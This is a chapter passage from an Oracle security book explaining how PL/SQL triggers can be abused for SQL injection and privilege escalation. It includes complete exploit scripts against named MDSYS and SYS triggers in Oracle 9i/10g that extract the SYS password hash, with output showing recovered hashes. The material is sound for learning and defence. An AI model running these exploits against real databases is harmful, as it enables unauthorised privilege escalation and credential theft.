Triggers

Trigger Happy Exploiting Triggers for Fun and Profit

In Oracle, triggers are pieces of PL/SQL code that perform some task and fire automatically when a given event occurs. Triggers can be created for all sorts of events, including DML operations such as INSERT, DELETE, and UPDATE; and they can be set to fire before or after the event. Triggers can also be defined for events such as users logging in, users being dropped, or tables being truncated - in other words, for all sorts of events. There are a couple of key points to remember when it comes to triggers. First, a trigger executes with the privileges of the user who defines it. Second, and probably more important as far as this chapter is concerned, just like any PL/SQL object, triggers can be vulnerable to attack. Before looking at real-world examples, it would be instructive to look at a contrived SQL injection example. For this example, we create two tables: one called MYTABLE to hold short strings, and the other called MYTABLE_LONG to hold a duplicate copy of strings longer than 15 characters. We then create a trigger on MYTABLE to fire before an insert so that if someone attempts to insert a string longer than 15 characters into MYTABLE, a copy is also stored in MYTABLE_LONG. The example is quite useless other than demonstrate the point:

SQL> CONNECT SCOTT/TIGER Connected. SQL> SET SERVEROUTPUT ON SQL> CREATE TABLE MYTABLE (V VARCHAR2(200)); Table created. SQL> CREATE TABLE MYTABLE_LONG (V VARCHAR2(200)); Table created. SQL> CREATE OR REPLACE TRIGGER MYTRIGGER BEFORE INSERT ON MYTABLE 2 REFERENCING NEW AS NEWROW 3 FOR EACH ROW 4 DECLARE 5 L NUMBER; 6 S VARCHAR2(2000); 7 BEGIN 8 L:=LENGTH(:NEWROW.V); 9 IF L > 15 THEN 10 DBMS_OUTPUT.PUT_LINE('INSERTING INTO MYTABLE_LONG AS WELL'); 11 S:='INSERT INTO MYTABLE_LONG (V) VALUES (''' || :NEWROW.V || ''')'; 12 EXECUTE IMMEDIATE S; 13 END IF; 14 END MYTRIGGER; 15 / Trigger created. SQL> SHOW ERRORS No errors. SQL> INSERT INTO MYTABLE (V) VALUES ('Hello, world!'); 1 row created. SQL> INSERT INTO MYTABLE (V) VALUES ('Hello, world! More text...'); INSERTING INTO MYTABLE_LONG AS WELL 1 row created. SQL> INSERT INTO MYTABLE (V) VALUES ('__________INJECT''POINT__________'); INSERTING INTO MYTABLE_LONG AS WELL INSERT INTO MYTABLE (V) VALUES ('__________INJECT''POINT__________') * ERROR at line 1: ORA-00917: missing comma ORA-06512: at "SCOTT.MYTRIGGER", line 9 ORA-04088: error during execution of trigger 'SCOTT.MYTRIGGER'

If you look at the text of the trigger, you can see that it's vulnerable to SQL injection. It takes the value supplied by the user in the INSERT and then concatenates it to another INSERT statement; the trigger then executes the new INSERT statement:

S:='INSERT INTO MYTABLE_LONG (V) VALUES (''' || :NEWROW.V || ''')'; EXECUTE IMMEDIATE S;

The result of the last INSERT statement is an error, indicating that the trigger is indeed vulnerable to SQL injection.

Examples of Exploiting Triggers

Now, let's look at some real-world examples.

The MDSYS SDO_GEOM_TRIG_INS1 and SDO_GEOM_TRIG_INS1 Triggers

In early versions of both 9i and 10g, the SDO_GEOM_TRIG_INS1 trigger owned by 10g was vulnerable to SQL injection in a similar way to the example shown in the preceding section. The trigger fires when an INSERT is performed on the USER_SDO_GEOM_METADATA table, again owned by MDSYS. As PUBLIC has the permission to INSERT into this table, anyone can get the trigger to fire. The trigger executes the following PL/SQL:

.. .. EXECUTE IMMEDIATE 'SELECT user FROM dual' into tname; stmt := 'SELECT count(*) FROM SDO_GEOM_METADATA_TABLE ' || 'WHERE sdo_owner = ''' || tname || ''' ' || ' AND sdo_table_name = ''' || :n.table_name || ''' '|| ' AND sdo_column_name = ''' || :n.column_name || ''' '; .. ..

Here, the :new.table_name and :new.column_name can be influenced by the user and SQL injected. PUBLIC has the permissions to INSERT into this table. As such, the trigger can be abused to run SQL as MDSYS. For example, a low-privilege user can select the password hash for SYS from the USER$ table:

set serveroutput on create or replace function y return varchar2 authid current_user is buffer varchar2(30); stmt varchar2(200):='select password from sys.user$ where name =''SYS'''; begin execute immediate stmt into buffer; dbms_output.put_line('SYS passord is: '|| buffer); return 'foo'; end; / grant execute on y to public; insert into mdsys.user_sdo_geom_metadata (table_name,column_name) values ('X'' AND SDO_COLUMN_NAME=scott.y--','test'); returns SYS passord is: D9CF6D3630046AC9 1 row created.

The SDO_GEOM_TRIG_INS1 trigger, also owned by MDSYS, is vulnerable in a very similar way. This trigger fires when an INSERT occurs on the MDSYS.USER_SDO_LRS_METADATA, and executes the following code:

.. stmt := 'SELECT count(*) FROM SDO_LRS_METADATA_TABLE ' || ' WHERE sdo_owner = ''' || UPPER(user_name) || ''' ' || ' AND sdo_table_name = ''' || UPPER(:n.table_name) || ''' ' || ' AND sdo_column_name = ''' || UPPER(:n.column_name) || ''' '; EXECUTE IMMEDIATE stmt INTO vcount; .. ..

The MDSYS SDO_CMT_CBK_TRIG Trigger

The SDO_CMT_CBK_TRIG trigger, owned by MDSYS, fires when a DELETE is performed on the SDO_TXN_IDX_INSERTS table, also owned by MDSYS. PUBLIC has the SELECT, INSERT, UPDATE, and DELETE object privileges on this table. Consequently, anyone can cause the SDO_CMT_CBK_TRIG trigger to fire by deleting a row from the table. This trigger is not vulnerable to SQL injection but a much more interesting and subtle vulnerability. This affects earlier versions of 9i and 10g. Before delving into this, however, you might want to get a cup of coffee; the explanation gets a bit detailed and convoluted.

If you examine the text of the trigger you can see that before the DELETE actually occurs, a list of functions is selected from the SDO_CMT_DBK_FN_TABLE and SDO_CMT_CBK_DML_TABLE tables, and then these functions are executed. If an attacker could somehow get their own functions listed in the these tables, then they too would be executed when the trigger fires. PUBLIC has no object privileges set for either of these tables so they cannot insert their own function name directly. However, the PRVT_CMT_CBK package owned by MDSYS has two procedures, CCBKAPPLROWTRIG and EXEC_CBK_FN_DML, that take as their parameters a schema and function name, which are then inserted into the SDO_CMT_DBK_FN_TABLE and SDO_CMT_CBK_DML_TABLE tables. PUBLIC has the EXECUTE permission on the PRVT_CMT_CBK package, and because it has not been defined with the 'AUTHID CURRENT_USER' keyword, the package executes using the rights of MDSYS, the definer, and not the invoker. As a result, anyone can indirectly insert function names into the SDO_CMT_DBK_FN_TABLE and SDO_CMT_CBK_DML_TABLE tables. Thus when a DELETE occurs on SDO_TXN_IDX_INSERTS, anyone can influence what actions the SDO_CMT_CBK_TRIG trigger takes - in other words, anyone can get the trigger to execute an arbitrary function. What is more, this function, as it is being executed from the trigger, will run with the privileges of MDSYS, and an attacker can exploit this to gain elevated privileges.

This sample script, to be run by a low-privilege user such as SCOTT, will get the password hash for the SYS account. It does this by first creating a table called USERS_AND_PASSWORDS. This table is where the password hash for the SYS account will end up. The function, GET_USERS_AND_PWDS, is then created. This is where the attacker would place their SQL exploit code. In this case, the function takes advantage of the fact that MDSYS has the SELECT ANY TABLE privilege to SELECT the password hash for SYS from the USER$ table. With the table and function created, PUBLIC is then granted access to them. This enables MDSYS to access them. After this the MDSYS.PRVT_CMT_CBK.CCBKAPPLROWTRIG and MDSYS.PRVT_CMT_CBK.EXEC_CBK_FN_DML procedures are executed, inserting the schema SCOTT and function GET_USERS_AND_PWDS into the SDO_CMT_DBK_FN_TABLE and SDO_CMT_CBK_DML_TABLE tables.

With everything in place, a row is then inserted into the SDO_TXN_IDX_INSERTS and then deleted. When the delete occurs, the trigger is fired, which retrieves the SCOTT.GET_USERS_AND_PWDS function and then executes it. When the function executes, the password hash for SYS is selected from SYS.USER$ and then inserted into SCOTT's USERS_AND_PASSWORDS table. Finally, SCOTT selects the hash from the table and then feeds it into his Oracle password cracker, as shown in Figure 6-1.

CREATE TABLE USERS_AND_PASSWORDS (USERNAME VARCHAR2(200), PASSWORD VARCHAR2(200)); / GRANT SELECT ON USERS_AND_PASSWORDS TO PUBLIC; GRANT INSERT ON USERS_AND_PASSWORDS TO PUBLIC; CREATE OR REPLACE FUNCTION GET_USERS_AND_PWDS(DUMMY1 VARCHAR2, DUMMY2 VARCHAR2) RETURN NUMBER AUTHID CURRENT_USER IS BEGIN EXECUTE IMMEDIATE 'INSERT INTO SCOTT.USERS_AND_PASSWORDS (USERNAME,PASSWORD) VALUES ((SELECT NAME FROM SYS.USER$ WHERE NAME = ''SYS''),(SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS''))'; RETURN 1; END; / GRANT EXECUTE ON GET_USERS_AND_PWDS TO PUBLIC; EXEC MDSYS.PRVT_CMT_CBK.CCBKAPPLROWTRIG('SCOTT','GET_USERS_AND_PWDS'); EXEC MDSYS.PRVT_CMT_CBK.EXEC_CBK_FN_DML(0,'AAA','BBB','SCOTT','GET_USERS_AND_ PWDS'); INSERT INTO MDSYS.SDO_TXN_IDX_INSERTS (SDO_TXN_IDX_ID,RID) VALUES('FIRE','FIRE'); DELETE FROM MDSYS.SDO_TXN_IDX_INSERTS WHERE SDO_TXN_IDX_ID = 'FIRE'; SELECT * FROM USERS_AND_PASSWORDS;

Figure 6-1: Selecting a hash and feeding it into an Oracle password cracker

The SYS CDC_DROP_CTABLE_BEFORE Trigger

The CDC_DROP_CTABLE_BEFORE trigger on 10g Release 2, owned by SYS, is vulnerable to SQL injection. (10g Release 1 is not vulnerable by default because while the trigger exists, it is not enabled.) The trigger fires whenever a table is dropped, and executes the sys.dbms_cdc_ipublish.change_table_trigger procedure. This procedure calls the ChangeTable Trigger Java method, which executes the following SQL:

String sqltext = "SELECT COUNT(*) FROM SYS.CDC_CHANGE_TABLES$ WHERE CHANGE_TABLE_SCHEMA='" + schema + "' AND CHANGE_TABLE_NAME='" + tableName + "'";

As the name of the table being dropped is placed verbatim into this SELECT query by creating a table name with embedded SQL, we can execute SQL as SYS:

SQL> connect scott/tiger Connected. SQL> set serveroutput on SQL> -- create the function we're going to inject SQL> create or replace function gp return varchar2 authid current_user SQL> is 2 STMT VARCHAR2(400):= 'select password from dba_users where username = ''SYS'''; 3 P VARCHAR2(200); 4 BEGIN 5 EXECUTE IMMEDIATE STMT INTO P; 6 dbms_output.put_line('SYS password is '|| P); 7 RETURN 'SUCCESS'; 8 END; 9 / Function created. SQL> GRANT EXECUTE ON GP TO PUBLIC; Grant succeeded. SQL> -- create a table with our function name embedded SQL> create table "O'||SCOTT.GP||'O" (x number); Table created. SQL> -- now drop the table and cause the trigger to fire SQL> drop table "O'||SCOTT.GP||'O"; SYS password is B747B510C5F70DED

The MDSYS SDO_DROP_USER_BEFORE Trigger

On 10g Release 2, the SDO_DROP_USER_BEFORE trigger owned by MDSYS is vulnerable to SQL injection. However, on 10g Release 2, MDSYS doesn't have that many privileges, whereas it was a DBA in Oracle 9i. This brings us to an important question and a perfect place to finish this chapter and move on to the next: How does one get DBA privileges when the owner of what you're exploiting isn't a DBA? You'll learn how to do this in the following chapter.

Wrapping Up

It is hoped that this chapter has demonstrated how triggers can be exploited just like any other PL/SQL object and that care should be taken when writing them.